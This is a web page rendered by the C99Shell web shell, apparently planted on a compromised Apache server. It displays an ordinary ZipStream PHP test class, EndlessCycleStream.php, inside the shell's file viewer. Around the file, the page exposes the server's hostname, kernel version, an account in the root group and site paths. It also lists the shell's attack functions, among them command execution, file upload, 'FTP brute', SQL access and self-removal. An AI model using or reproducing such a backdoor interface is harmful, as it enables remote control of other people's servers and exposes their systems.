!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/maennchen/zipstream-php/test/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     EndlessCycleStream.php (1.99 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
ZipStream\Test;

use 
Psr\Http\Message\StreamInterface;
use 
RuntimeException;

class 
EndlessCycleStream implements StreamInterface
{
    private 
int $offset 0;

    public function 
__construct(private readonly string $toRepeat '0')
    {
    }

    public function 
__toString(): string
    
{
        throw new 
RuntimeException('Infinite Stream!');
    }

    public function 
close(): void
    
{
        
$this->detach();
    }

    
/**
     * @return null
     */
    
public function detach()
    {
        return;
    }

    public function 
getSize(): ?int
    
{
        return 
null;
    }

    public function 
tell(): int
    
{
        return 
$this->offset;
    }

    public function 
eof(): bool
    
{
        return 
false;
    }

    public function 
isSeekable(): bool
    
{
        return 
true;
    }

    public function 
seek(int $offsetint $whence SEEK_SET): void
    
{
        switch(
$whence) {
            case 
SEEK_SET:
                
$this->offset $offset;
                break;
            case 
SEEK_CUR:
                
$this->offset += $offset;
                break;
            case 
SEEK_END:
                throw new 
RuntimeException('Infinite Stream!');
                break;
        }
    }

    public function 
rewind(): void
    
{
        
$this->seek(0);
    }

    public function 
isWritable(): bool
    
{
        return 
false;
    }

    public function 
write(string $string): int
    
{
        throw new 
RuntimeException('Not writeable');
    }

    public function 
isReadable(): bool
    
{
        return 
true;
    }

    public function 
read(int $length): string
    
{
        
$this->offset += $length;
        return 
substr(str_repeat($this->toRepeat, (int) ceil($length strlen($this->toRepeat))), 0$length);
    }

    public function 
getContents(): string
    
{
        throw new 
RuntimeException('Infinite Stream!');
    }

    public function 
getMetadata(?string $key null): array|null
    
{
        return 
$key !== null null : [];
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--